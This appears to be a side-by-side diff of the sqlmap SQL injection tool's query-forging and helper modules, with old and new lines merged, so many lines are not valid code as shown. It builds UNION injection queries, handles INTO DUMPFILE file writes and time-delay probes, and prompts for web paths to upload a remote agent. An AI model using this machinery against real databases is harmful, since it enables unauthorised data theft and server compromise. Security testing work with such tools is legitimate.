if kb.dbms == "Oracle": if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL" concatenatedQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectFrom: if fieldsSelectTop:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery += "+'%s'" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop concatenatedQuery += "+'%s'" % temp.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop) concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
return concatQuery return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
def forgeInbandQuery(self, query, exprPosition=None):
""" """
Take in input an query (pseudo query) string and return its Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query. processed UNION ALL SELECT query.
@@ -382,9 +408,20 @@ class Agent:
inbandQuery = self.prefixQuery(" UNION ALL SELECT ") inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not exprPosition: if not exprPosition:
exprPosition = kb.unionPosition exprPosition = kb.unionPosition
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"): if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")] inbandQuery = inbandQuery[:-len(" FROM DUAL")]
@@ -393,32 +430,30 @@ class Agent:
inbandQuery += ", " inbandQuery += ", "
if element == exprPosition: if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query: if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.rindex(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += "%s" % query[:conditionIndex] inbandQuery += query[:conditionIndex]
else: else:
inbandQuery += "%s" % query inbandQuery += query
else: else:
inbandQuery += "NULL" inbandQuery += nullChar
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query: if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.rindex(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += "%s" % query[conditionIndex:] inbandQuery += query[conditionIndex:]
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
if " FROM " not in inbandQuery: if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL" inbandQuery += " FROM DUAL"
if " ORDER BY " in inbandQuery: if intoRegExp:
orderIndex = inbandQuery.index(" ORDER BY ") inbandQuery += intoRegExp
inbandQuery = inbandQuery[:orderIndex]
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery return inbandQuery
def limitQuery(self, num, query, field):
def limitQuery(self, num, query, fieldsList=None):
""" """
Take in input a query string and return its limited query string. Take in input a query string and return its limited query string.
@@ -433,8 +468,8 @@ class Agent:
@param query: query to be processed @param query: query to be processed
@type query: C{str} @type query: C{str}
@param fieldsList: list of fields within the query @param field: field within the query
@type fieldsList: C{list} @type field: C{list}
@return: limited query string @return: limited query string
@rtype: C{str} @rtype: C{str}
@@ -451,22 +486,65 @@ class Agent:
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1) limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedQuery, re.I): forgeNotIn = True
untilOrderChar = limitedQuery.index(" ORDER BY ")
limitedQuery = limitedQuery[:untilOrderChar]
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " ORDER BY " in limitedQuery:
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0]) limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom) if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
return limitedQuery return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,24 +22,24 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import random import random
import re import re
import socket
import string import string
import sys import sys
import time import time
import urlparse import urlparse
from lib.contrib import magic
from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths from lib.core.settings import IS_WIN
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -82,8 +82,7 @@ def paramToDict(place, parameters=None):
if condition: if condition:
value = elem[1] value = elem[1]
if value: testableParameters[parameter] = value
testableParameters[parameter] = value
if conf.testParameter and not testableParameters: if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter) paramStr = ", ".join(test for test in conf.testParameter)
@@ -111,7 +110,6 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def formatDBMSfp(versions=None): def formatDBMSfp(versions=None):
""" """
This function format the back-end DBMS fingerprint value and return its This function format the back-end DBMS fingerprint value and return its
@@ -135,11 +133,10 @@ def formatDBMSfp(versions=None):
return kb.dbms return kb.dbms
def formatFingerprintString(values, chain=" or "):
strJoin = "|".join([v for v in values])
def __formatFingerprintString(values, chain=" or "): return strJoin.replace("|", chain)
string = "|".join([v for v in values])
return string.replace("|", chain)
def formatFingerprint(target, info): def formatFingerprint(target, info):
""" """
@@ -174,26 +171,25 @@ def formatFingerprint(target, info):
infoStr = "" infoStr = ""
if info and "type" in info: if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"])) infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
if "distrib" in info: if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"]) infoStr += " %s" % formatFingerprintString(info["distrib"])
if "release" in info: if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"]) infoStr += " %s" % formatFingerprintString(info["release"])
if "sp" in info: if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"]) infoStr += " %s" % formatFingerprintString(info["sp"])
if "codename" in info: if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"]) infoStr += " (%s)" % formatFingerprintString(info["codename"])
if "technology" in info: if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ") infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
return infoStr return infoStr
def getHtmlErrorFp(): def getHtmlErrorFp():
""" """
This function parses the knowledge base htmlFp list and return its This function parses the knowledge base htmlFp list and return its
@@ -217,82 +213,98 @@ def getHtmlErrorFp():
return htmlParsed return htmlParsed
def getDocRoot(): def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None docRoot = None
pagePath = os.path.dirname(conf.path)
if kb.os == "Windows":
defaultDocRoot = "C:/Inetpub/wwwroot/"
else:
defaultDocRoot = "/var/www/"
if kb.absFilePaths: if kb.absFilePaths:
logMsg = "retrieved the possible injectable " for absFilePath in kb.absFilePaths:
logMsg += "file absolute system paths: " absFilePathWin = None
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths: if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
if conf.path in absFilePath: absFilePathWin = absFilePath
index = absFilePath.index(conf.path) absFilePath = absFilePath[2:].replace("\\", "/")
docRoot = absFilePath[:index]
break absFilePath = os.path.normpath(absFilePath)
if pagePath in absFilePath:
index = absFilePath.index(pagePath)
docRoot = absFilePath[:index]
if absFilePathWin:
docRoot = "C:/%s" % docRoot.replace("\\", "/")
break
if docRoot: if docRoot:
logMsg = "retrieved the remote web server " infoMsg = "retrieved the web server document root: '%s'" % docRoot
logMsg += "document root: '%s'" % docRoot logger.info(infoMsg)
logger.info(logMsg)
else: else:
warnMsg = "unable to retrieve the remote web server " warnMsg = "unable to retrieve the web server document root"
warnMsg += "document root"
logger.warn(warnMsg) logger.warn(warnMsg)
message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot
inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot:
docRoot = inputDocRoot
else:
docRoot = defaultDocRoot
return docRoot return docRoot
def getDirs():
def getDirectories():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
directories = set() directories = set()
kb.docRoot = getDocRoot() if kb.os == "Windows":
defaultDir = "C:/Inetpub/wwwroot/test/"
else:
defaultDir = "/var/www/test/"
if kb.docRoot: if kb.absFilePaths:
directories.add(kb.docRoot) infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(infoMsg)
pagePath = re.search("^/(.*)/", conf.path) for absFilePath in kb.absFilePaths:
if absFilePath:
directories.add(os.path.dirname(absFilePath))
else:
warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg)
if kb.docRoot and pagePath: message = "please provide any additional web server full path to try "
pagePath = pagePath.groups()[0] message += "to upload the agent [%s]: " % defaultDir
inputDirs = readInput(message, default=defaultDir)
directories.add("%s/%s" % (kb.docRoot, pagePath)) if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
if inputDir:
directories.add(inputDir)
else:
directories.add(defaultDir)
return directories return directories
def filePathToString(filePath): def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_") strRepl = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_") strRepl = strRepl.replace(" ", "_").replace(":", "_")
return string
return strRepl
def dataToStdout(data): def dataToStdout(data):
sys.stdout.write(data) sys.stdout.write(data)
sys.stdout.flush() sys.stdout.flush()
def dataToSessionFile(data): def dataToSessionFile(data):
if not conf.sessionFile: if not conf.sessionFile:
return return
@@ -300,24 +312,36 @@ def dataToSessionFile(data):
conf.sessionFP.write(data) conf.sessionFP.write(data)
conf.sessionFP.flush() conf.sessionFP.flush()
def dataToDumpFile(dumpFile, data): def dataToDumpFile(dumpFile, data):
dumpFile.write(data) dumpFile.write(data)
dumpFile.flush() dumpFile.flush()
def dataToOutFile(data):
if not data:
return "No data retrieved"
def strToHex(string): rFile = filePathToString(conf.rFile)
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
rFileFP = open(rFilePath, "wb")
rFileFP.write(data)
rFileFP.flush()
rFileFP.close()
return rFilePath
def strToHex(inpStr):
""" """
@param string: string to be converted into its hexadecimal value. @param inpStr: inpStr to be converted into its hexadecimal value.
@type string: C{str} @type inpStr: C{str}
@return: the hexadecimal converted string. @return: the hexadecimal converted inpStr.
@rtype: C{str} @rtype: C{str}
""" """
hexStr = "" hexStr = ""
for character in string: for character in inpStr:
if character == "\n": if character == "\n":
character = " " character = " "
@@ -329,7 +353,6 @@ def strToHex(string):
return hexStr return hexStr
def fileToStr(fileName): def fileToStr(fileName):
""" """
@param fileName: file path to read the content and return as a no @param fileName: file path to read the content and return as a no
@@ -343,13 +366,7 @@ def fileToStr(fileName):
filePointer = open(fileName, "r") filePointer = open(fileName, "r")
fileText = filePointer.read() fileText = filePointer.read()
fileText = fileText.replace(" ", "") return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
fileText = fileText.replace("\t", "")
fileText = fileText.replace("\r", "")
fileText = fileText.replace("\n", " ")
return fileText
def fileToHex(fileName): def fileToHex(fileName):
""" """
@@ -366,7 +383,6 @@ def fileToHex(fileName):
return hexFile return hexFile
def readInput(message, default=None): def readInput(message, default=None):
""" """
@param message: message to display on terminal. @param message: message to display on terminal.
@@ -376,6 +392,9 @@ def readInput(message, default=None):
@rtype: C{str} @rtype: C{str}
""" """
if "\n" in message:
message += "\n> "
if conf.batch and default: if conf.batch and default:
infoMsg = "%s%s" % (message, str(default)) infoMsg = "%s%s" % (message, str(default))
logger.info(infoMsg) logger.info(infoMsg)
@@ -385,11 +404,13 @@ def readInput(message, default=None):
data = default data = default
else: else:
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message)) data = raw_input(message)
if not data:
data = default
return data return data
def randomRange(start=0, stop=1000): def randomRange(start=0, stop=1000):
""" """
@param start: starting number. @param start: starting number.
@@ -404,7 +425,6 @@ def randomRange(start=0, stop=1000):
return int(random.randint(start, stop)) return int(random.randint(start, stop))
def randomInt(length=4): def randomInt(length=4):
""" """
@param length: length of the random string. @param length: length of the random string.
@@ -416,8 +436,7 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5, lowercase=False):
def randomStr(length=5):
""" """
@param length: length of the random string. @param length: length of the random string.
@type length: C{int} @type length: C{int}
@@ -426,25 +445,28 @@ def randomStr(length=5):
@rtype: C{str} @rtype: C{str}
""" """
return "".join([random.choice(string.letters) for _ in xrange(0, length)]) if lowercase:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr
def sanitizeStr(string): def sanitizeStr(inpStr):
""" """
@param string: string to sanitize: cast to str datatype and replace @param inpStr: inpStr to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns. newlines with one space and strip carriage returns.
@type string: C{str} @type inpStr: C{str}
@return: sanitized string @return: sanitized inpStr
@rtype: C{str} @rtype: C{str}
""" """
cleanString = str(string) cleanString = str(inpStr)
cleanString = cleanString.replace("\n", " ").replace("\r", "") cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString return cleanString
def checkFile(filename): def checkFile(filename):
""" """
@param filename: filename to check if it exists. @param filename: filename to check if it exists.
@@ -454,25 +476,22 @@ def checkFile(filename):
if not os.path.exists(filename): if not os.path.exists(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(inpStr):
def replaceNewlineTabs(string): replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__") replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString return replacedString
def banner(): def banner():
""" """
This function prints sqlmap banner with its version This function prints sqlmap banner with its version
""" """
print """ print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> %s
and Daniele Bellucci <daniele.bellucci@gmail.com> by Bernardo Damele A. G. <bernardo.damele@gmail.com>
""" % VERSION_STRING """ % VERSION_STRING
def parsePasswordHash(password): def parsePasswordHash(password):
blank = " " * 8 blank = " " * 8
@@ -491,67 +510,42 @@ def parsePasswordHash(password):
return password return password
def cleanQuery(query): def cleanQuery(query):
# SQL SELECT statement upperQuery = query
upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" where ", " WHERE ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" having ", " HAVING ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
# SQL data definition for sqlStatements in SQL_STATEMENTS.values():
upperQuery = upperQuery.replace(" create ", " CREATE ") for sqlStatement in sqlStatements:
upperQuery = upperQuery.replace(" drop ", " DROP ") sqlStatementEsc = sqlStatement.replace("(", "\\(")
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ") queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
upperQuery = upperQuery.replace(" alter ", " ALTER ")
# SQL data manipulation if queryMatch:
upperQuery = upperQuery.replace(" insert ", " INSERT ") upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
upperQuery = upperQuery.replace(" update ", " UPDATE ")
upperQuery = upperQuery.replace(" delete ", " DELETE ")
upperQuery = upperQuery.replace(" merge ", " MERGE ")
# SQL data control
upperQuery = upperQuery.replace(" grant ", " GRANT ")
# SQL transaction control
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
return upperQuery return upperQuery
def setPaths(): def setPaths():
# sqlmap paths # sqlmap paths
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# sqlmap files # sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
def weAreFrozen(): def weAreFrozen():
""" """
@@ -562,7 +556,6 @@ def weAreFrozen():
return hasattr(sys, "frozen") return hasattr(sys, "frozen")
def parseTargetUrl(): def parseTargetUrl():
""" """
Parse target url and set some attributes into the configuration Parse target url and set some attributes into the configuration
@@ -593,11 +586,10 @@ def parseTargetUrl():
conf.port = 80 conf.port = 80
if __urlSplit[3]: if __urlSplit[3]:
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%") conf.parameters["GET"] = __urlSplit[3]
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path) conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
def expandAsteriskForColumns(expression): def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s) # If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess # name, sqlmap will retrieve the columns itself and reprocess
@@ -630,7 +622,6 @@ def expandAsteriskForColumns(expression):
return expression return expression
def getRange(count, dump=False, plusOne=False): def getRange(count, dump=False, plusOne=False):
count = int(count) count = int(count)
indexRange = None indexRange = None
@@ -644,15 +635,14 @@ def getRange(count, dump=False, plusOne=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart limitStart = conf.limitStart
if kb.dbms == "Oracle" or plusOne == True: if kb.dbms == "Oracle" or plusOne:
indexRange = range(limitStart, limitStop + 1) indexRange = range(limitStart, limitStop + 1)
else: else:
indexRange = range(limitStart - 1, limitStop) indexRange = range(limitStart - 1, limitStop)
return indexRange return indexRange
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
def parseUnionPage(output, expression, partial=False, condition=None):
data = [] data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
@@ -666,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None):
output = re.findall(regExpr, output, re.S) output = re.findall(regExpr, output, re.S)
if condition == None: if condition is None:
condition = ( condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys() kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys() and expression in kb.resumedQueries[conf.url].keys()
@@ -676,7 +666,8 @@ def parseUnionPage(output, expression, partial=False, condition=None):
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output) if sort:
output = set(output)
for entry in output: for entry in output:
info = [] info = []
@@ -700,3 +691,144 @@ def parseUnionPage(output, expression, partial=False, condition=None):
data = data[0] data = data[0]
return data return data
def getDelayQuery():
query = None
if kb.dbms in ("MySQL", "PostgreSQL"):
if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
query = queries[kb.dbms].timedelay % conf.timeSec
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
else:
query = queries[kb.dbms].timedelay % conf.timeSec
return query
def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
ip, _ = s.getsockname()
s.close()
return ip
def getRemoteIP():
return socket.gethostbyname(conf.hostname)
def getFileType(filePath):
try:
magicFileType = magic.from_file(filePath)
except:
return "unknown"
if "ASCII" in magicFileType or "text" in magicFileType:
return "text"
else:
return "binary"
def pollProcess(process):
while True:
dataToStdout(".")
time.sleep(1)
returncode = process.poll()
if returncode is not None:
if returncode == 0:
dataToStdout(" done\n")
elif returncode < 0:
dataToStdout(" process terminated by signal %d\n" % returncode)
elif returncode > 0:
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break
def getCharset(charsetType=None):
asciiTbl = []
if charsetType is None:
asciiTbl = range(0, 128)
# 0 or 1
elif charsetType == 1:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 50))
# Digits
elif charsetType == 2:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
# Hexadecimal
elif charsetType == 3:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
asciiTbl.extend(range(64, 71))
asciiTbl.extend(range(96, 103))
# Characters
elif charsetType == 4:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
# Characters and digits
elif charsetType == 5:
asciiTbl.extend([ 0, 1 ])
asciiTbl.extend(range(47, 58))
